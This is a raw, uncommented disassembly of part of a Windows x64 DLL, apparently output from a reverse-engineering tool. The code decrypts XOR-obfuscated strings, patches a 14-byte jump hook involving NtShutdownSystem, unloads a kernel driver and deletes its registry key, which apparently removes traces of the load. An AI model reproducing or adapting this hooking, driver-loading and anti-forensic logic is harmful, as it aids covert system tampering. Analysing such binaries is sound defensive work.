lea r8, [rbp + 0xfa8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, rdi
call fcn.18000fdd0
mov rdx, rax
mov rcx, qword [rbp + 0xfa8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x18000d877
mov rcx, qword [rbp + 0xfa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0xe20]
call fcn.180003080
nop
lea rdx, [rbp + 0xea0]
mov rcx, rax
call fcn.1800024a0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xee0]
call fcn.180010a50
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.1800107a0
nop
lea rcx, [rbp + 0xda0]
call fcn.180003040
nop
lea rcx, [rbp + 0xda0]
call fcn.1800024f0
nop
lea rcx, [rbp + 0xee0]
call fcn.18000fe00
nop
lea rcx, [rbp + 0xea0]
call fcn.18000fe00
nop
lea rcx, [rbp + 0xe20]
call fcn.1800024f0
nop
lea rcx, [rbp + 0x1590]
call fcn.18000fe00
nop
mov rcx, rdi
call fcn.18000fe00
movups xmm0, xmmword [0x18002aa88]
movups xmmword [rbp + 0x5a8], xmm0
movups xmm0, xmmword [0x18002aaa8]
movups xmmword [rbp + 0x5c8], xmm0
movsd xmm0, qword [0x18002aab8]
movups xmm1, xmmword [0x18002aa98]
movsd qword [rbp + 0x5d8], xmm0
movups xmmword [rbp + 0x5b8], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x18000da61
lea rcx, [rbp + 0x5a8]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x18000d960
cmp r8d, 0x1c
jge 0x18000daa7
movsxd rax, r8d
lea r9, [rbp + 0x5a8]
lea r9, [r9 + rax*2]
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x18000da70
lea rcx, [rbp + 0x5a8]
call fcn.1800158e0
movzx edi, al
jmp 0x18000e592
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [r13 + rcx]
cmp dword [0x18008a298], eax
jle 0x18000ddb6
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x18000ddb6
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x80], rax
cmp byte [0x18002ac27], 0
je 0x18000dc43
cmp r15d, 2
jl 0x18000dc02
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x80]
xorps xmm2, xmm1
movd dword [rbp + 0x80], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x84]
xorps xmm2, xmm1
movd dword [rbp + 0x84], xmm2
jmp 0x18000dc43
lea r9, [rbp + 0x80]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x18000dc10
mov eax, dword [0x18002abd8]
mov dword [rbp + 8], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp], xmm0
mov byte [rbp + 0xc], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000dd50
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18000dd60
lea rdx, [rbp + 0x80]
lea rcx, [rbp]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov rdi, qword [0x18008a300]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x18000de27
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x18000de27
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a10], 0x25ff
mov word [rbp + 0x1a14], 0
mov qword [rbp + 0x1a16], rdi
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ad0]
lea rcx, [rbp + 0x11f0]
call fcn.180011bc0
test al, al
je 0x18000dec8
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1a10]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
test al, al
je 0x18000dec8
mov rcx, qword [rbp - 0x60]
add rcx, 0x60
mov r8d, 8
lea rdx, [rbp + 0x1180]
call qword [0x18008a2b8]
mov rdx, qword [0x18008a2a8]
mov r9d, 0xe
lea r8, [rbp + 0x1ad0]
lea rcx, [rbp + 0x1230]
call fcn.180011bc0
movups xmm4, xmmword [str.oVHPYO]
movups xmmword [rbp + 0x2e0], xmm4
movsd xmm0, qword [0x18004a9d8]
movsd qword [rbp + 0x2f0], xmm0
mov eax, dword [0x18004a9e0]
mov dword [rbp + 0x2f8], eax
cmp word [0x18004a9e2], 0
je 0x18000e037
mov r8d, ebx
cmp r15d, 2
jl 0x18000dff2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x2e0], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x2e8]
xorps xmm3, xmm0
movq qword [rbp + 0x2e8], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x2e0]
lea r9, [r9 + rax*2]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xe
jl 0x18000e000
xor edx, edx
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.USER32.dll_FindWindowW]
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.180017360
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xe00]
call fcn.18000fea0
mov rdi, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x18000e585
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0xa98], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0xaa8], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0xab8], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0xac8], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0xacc], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000e1e9
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0xa9c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x18000e0f0
cmp r8d, 0x35
jge 0x18000e233
movsxd rax, r8d
lea r9, [rbp + 0xa98]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x18000e200
lea rdx, [rbp + 0xa98]
lea rcx, [rbp + 0x15b0]
call fcn.18000fe60
nop
mov rdx, rdi
lea rcx, [rbp + 0x15b0]
call fcn.18000fde0
lea rcx, [rbp + 0x15b0]
call fcn.18000fdd0
mov rdx, rax
lea rcx, [rbp + 0x15e0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x15d0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x15d0]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xf88], rbx
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rcx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x18000e4ab
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x18000e4ab
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x558], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x568], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x578], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x57a], al
mov r8d, ebx
cmp r15d, 2
jl 0x18000e439
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x55c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x18000e340
cmp r8d, 0x23
jge 0x18000e483
movsxd rax, r8d
lea r9, [rbp + 0x558]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x18000e450
lea rdx, [rbp + 0x558]
mov rcx, rsi
call fcn.18000fe60
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
mov rcx, rsi
call fcn.18000fdd0
mov rdx, rax
lea r8, [rbp + 0xf88]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, rdi
call fcn.18000fdd0
mov rdx, rax
mov rcx, qword [rbp + 0xf88]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x18000e4f7
mov rcx, qword [rbp + 0xf88]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0xf40]
call fcn.180003080
nop
lea rdx, [rbp + 0xdc0]
mov rcx, rax
call fcn.1800024a0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xde0]
call fcn.180010a50
nop
mov rdx, rax
lea rcx, [rbp + 0xd80]
call fcn.1800107a0
nop
lea rcx, [rbp + 0xd80]
call fcn.180003040
nop
lea rcx, [rbp + 0xd80]
call fcn.1800024f0
nop
lea rcx, [rbp + 0xde0]
call fcn.18000fe00
nop
lea rcx, [rbp + 0xdc0]
call fcn.18000fe00
nop
lea rcx, [rbp + 0xf40]
call fcn.1800024f0
nop
lea rcx, [rbp + 0x15b0]
call fcn.18000fe00
nop
mov rcx, rdi
call fcn.18000fe00
mov edi, 1
mov rcx, qword [rbp + 0x17a8]
test rcx, rcx
je 0x18000e5c0
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1770]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x17a8], rbx
mov rcx, qword [rbp + 0x1768]
test rcx, rcx
je 0x18000e5ee
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1730]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x1768], rbx
mov rcx, qword [rbp + 0x1728]
test rcx, rcx
je 0x18000e61c
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x16f0]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x1728], rbx
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e64a
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1230]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x1268], rbx
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e678
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x11f0]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x1228], rbx
mov rcx, qword [rbp + 0x16a8]
test rcx, rcx
je 0x18000e6a6
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1670]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x16a8], rbx
mov rcx, qword [rbp + 0x16e8]
test rcx, rcx
je 0x18000e894
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x16b0]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x16e8], rbx
jmp 0x18000e894
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
nop
movups xmm0, xmmword [0x18004a830]
movups xmmword [rbp + 0xad0], xmm0
movups xmm1, xmmword [0x18004a840]
movups xmmword [rbp + 0xae0], xmm1
movups xmm0, xmmword [0x18004a850]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm1, xmmword [0x18004a860]
movups xmmword [rbp + 0xb00], xmm1
movzx eax, word [0x18004a870]
mov word [rbp + 0xb10], ax
cmp r15d, 2
jl 0x18000e83e
lea rcx, [rbp + 0xad0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 0x10]
cmp ebx, 0x20
jl 0x18000e740
cmp eax, 0x21
jge 0x18000e882
movsxd rax, ebx
lea r9, [rbp + 0xad0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc ebx
lea r9, [r9 + 2]
cmp ebx, 0x21
jl 0x18000e850
mov edx, r10d
lea rcx, [rbp + 0xad0]
call fcn.1800158e0
movzx edi, al
mov rdx, qword [rbp + 0x11b0]
cmp rdx, 0xf
jbe 0x18000e8e4
inc rdx
mov rcx, qword [rbp + 0x1198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000e8df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000e8df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
mov eax, edi
jmp 0x18000eac1
movups xmm0, xmmword [str.LQ_e]
movups xmmword [rbp + 0xd10], xmm0
movups xmm1, xmmword [0x18002ab00]
movups xmmword [rbp + 0xd20], xmm1
movups xmm0, xmmword [0x18002ab10]
movups xmmword [rbp + 0xd30], xmm0
movups xmm1, xmmword [0x18002ab20]
movups xmmword [rbp + 0xd40], xmm1
movups xmm0, xmmword [0x18002ab30]
movups xmmword [rbp + 0xd50], xmm0
movups xmm1, xmmword [0x18002ab40]
movups xmmword [rbp + 0xd60], xmm1
movzx eax, word [0x18002ab50]
mov word [rbp + 0xd70], ax
cmp r15d, 2
jl 0x18000ea6c
movdqa xmm4, xmmword [0x18004b230]
lea rcx, [rbp + 0xd10]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 0x10]
cmp ebx, 0x30
jl 0x18000e970
cmp eax, 0x31
jge 0x18000eab2
movsxd rax, ebx
lea r8, [rbp + 0xd10]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x31
jl 0x18000ea80
lea rcx, [rbp + 0xd10]
call fcn.1800158e0
movzx eax, al
mov rcx, qword [rbp + 0x1b20]
xor rcx, rsp
call fcn.1800271c0
lea r11, [rsp + 0x1cd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
shr rdx, 0x20
lea r8, [rbp + 0x210]
call fcn.180002c80
nop
shr rdx, 0x20
lea r8, [rbp + 0x290]
call fcn.180002c80
nop
shr rdx, 0x20
lea r8, [rbp + 0x270]
call fcn.180002c80
nop
shr rdx, 0x20
lea r8, [rbp + 0x250]
call fcn.180002c80
nop
shr rdx, 0x20
lea r8, [rbp + 0x230]
call fcn.180002c80
int3
cmp edx, 1
jne 0x18000ec9c
xor ecx, ecx
jmp 0x180003af0
xor eax, eax
ret